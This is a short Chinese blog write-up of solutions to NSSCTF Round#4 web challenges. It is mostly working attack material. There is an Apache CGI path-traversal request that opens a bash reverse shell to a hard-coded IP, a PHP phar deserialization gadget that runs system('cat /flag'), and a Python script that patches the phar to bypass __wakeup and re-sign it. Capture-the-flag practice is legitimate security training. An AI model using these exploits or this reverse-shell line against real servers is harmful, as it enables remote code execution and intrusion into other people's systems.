NSSCTF Round#4

NSSCTF Round#4

1zweb

直接非预期/flag

ez_rce

扫后台有cgin-bin,直接apache漏洞。反弹shell:

 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
 echo;bash -c 'bash -i >&/dev/tcp/47.96.173.116/2333 0>&1'

发现根目录那个是个文件夹,而且里面很多文件夹,直接cat /run.sh可以看到flag的位置。

1zweb(revenge)

修复了非预期。简单的pop链,直接phar。

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;

    public function __construct()
    {
        $this->ljt="Misc";
        $this->dky="Re";
        $this->cmd = "phpinfo();system('cat /flag');";
    }
}

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new LoveNss();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "asd"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

绕过wakeup,只能用老方法了。关键就是怎么修改phar文件了。刚好在强网杯找了一个脚本修改phar文件,所以直接脚本改就行。

from hashlib import sha1

f1 = open('phar.phar','rb').read()#phar文件
file = f1.replace(b'"LoveNss":3',b'"LoveNss":4')#修改的内容
text = file[:-28]  # 读取开始到末尾除签名外内容
last = file[-8:]  # 读取最后8位的GBMB和签名flag
new_file = text + sha1(text).digest() + last  # 生成新的文件内容,主要是此时Sha1正确了。
open('phar2.phar', "wb").write(new_file)

然后再gzip压缩一下绕过检测。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇